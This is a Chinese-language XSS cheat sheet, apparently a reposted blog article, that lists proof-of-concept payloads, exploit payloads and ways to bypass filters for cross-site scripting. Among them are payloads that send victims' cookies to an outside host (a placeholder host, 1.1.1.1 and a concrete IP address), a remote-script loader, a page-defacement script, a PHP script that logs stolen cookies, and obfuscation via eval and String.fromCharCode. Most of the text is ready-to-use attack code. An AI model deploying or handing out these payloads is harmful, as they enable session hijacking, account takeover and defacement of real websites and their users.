xss漏洞的poc与exp
POC
<script>alert('xss')</script>? ?最簡單常用的poc
"><script>alert(1)<script>
<a href=" οnclick=alert('xss')>type</a>? 頁面出現一個按鈕type,點擊觸發onclick,然后執行彈窗。
<img src=http://1.1.1.1/a.jpg οnerrοr=alert('xss')>? 加載圖片,給一個錯誤的圖片地址,然后執行彈窗
<script>window.location='http://1.1.1.1'</script> 重定向到指定的url地址
<iframe SRC="http://1.1.1.1/victim" height="0" width="0"></iframe>
οnmοuseοver=alert(document.domain)? 閉合屬性,構造on事件
οnmοusemοve=alert(1)
<input type="text" οnfοcus=prompt(1) autofocus> 利用input的autofocus屬性,無需用戶交互即可觸發xss.
htmlspecialchars: 輸入常用符號,看哪些符號沒被實體編碼。
如輸入在href或src里面:javascript:alert(1)
js輸出,輸入的數據由js變量接收,通過</script>閉合即可
EXP
<script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>
篡改頁面,將頁面篡改為<h1></h1>里面的顯示的文字
<script>new Image().src="http://yourhost/getcookie.php?cookie="+document.cookie;</script>
將別人登錄的cookie信息捕獲到自己的服務器上,自己的服務器上編寫一個接收cookie信息的php腳本getcookie.php,此腳本將接收到的cookie信息寫入到自動創阿金的txt文本cookie.txt里面
<script>document.location='http://47.99.184.173/getcookie.php?cookie='+document.cookie;</script>
與上一個獲取cookie信息的payload相似,相當于這是第二種獲取cookie信息的exp
<script src=http://1.1.1.1/a.js></script>
字節服務器上a.js的源碼為:
var img=new Image(); img.src = "http://1.1.1.1/cookies.php?cookie="+document.cookie;獲取cookie信息的第三種方式,這種方式的payload比較簡短,便于很好的利用。
這種間接的方式,可以適用于所有的exp,將攻擊代碼放在服務器上的一個js文件里面,然后在漏洞點利用<script>訪問。
附上一個簡短的getcookie.php腳本
<?php $cookie = $_GET['cookie']; $log=fopen("cookie.txt", "w"); fwrite($log, $cookie . "\n"); fclose($log); ?>繞過方法
利用js雙寫或者大小寫繞過: <scscriptript>alert(1)</scrscriptipt>
利用input彈窗
' oninput=alert`1` // ' oninput=alert`1` ' ' onchange=alert`1` // ' onchange=alert`1` '利用鏈接彈窗(a標簽) <a href="javascript:alert(1)">click me</a> //
利用Html實體編碼如果
利用換行繞過
?1.轉義字符: 將xss語句轉換為含有"\" 16進制或者8進制
? (工具地址: http://tools88.com/safe/xss.php)
2.UBB標簽: UBB標簽是目前廣泛運用到論壇,留言簿,以及其他網站系統的一種編碼標簽,類似[img]url[/img]這樣的,用戶在中間輸入地址后即可,在發表的時候系統會自動改成<img src="url"</img>。這個URL就是用戶輸入的圖片地址,XSS攻擊中,可以利用這個特點來達到無需用戶輸入<>就能執行由用戶所輸入的代碼,我們只要在輸入網址的地址輸入:
x"/**/onerror="alert('poruin')那么經過轉換后就變成了<img src="x"/**/οnerrοr="alert('poruin')"></img>
在JS中空格可以用/**/轉換,如圖:
JS還原函數
JS中的編碼還原函數最常用的就是String.fromCharCode了,這個函數用于ascii碼還原,一般來說,這個函數都要配合EVAL來使用才有效果。
在跨站中,String.fromCharCode主要是使用一些已經被列入黑名單的關鍵字或語句安全通過檢測,把關鍵字或語句轉換稱為ASCII碼,然后再用String.fromCharCode還原,因為大多數的過濾系統都不會把String.fromCharCode加以過濾,例如關鍵字alert被過濾掉,那就可以這么利用:
<img src="x"/**/onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))"></img>XSS過濾繞過速查表:https://www.freebuf.com/articles/web/153055.html
xss公共平臺:http://xss.fbisb.com
總結
以上是生活随笔為你收集整理的xss漏洞的poc与exp的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: MySQL利用UDF执行命令
- 下一篇: 关于JWT的一些攻击方法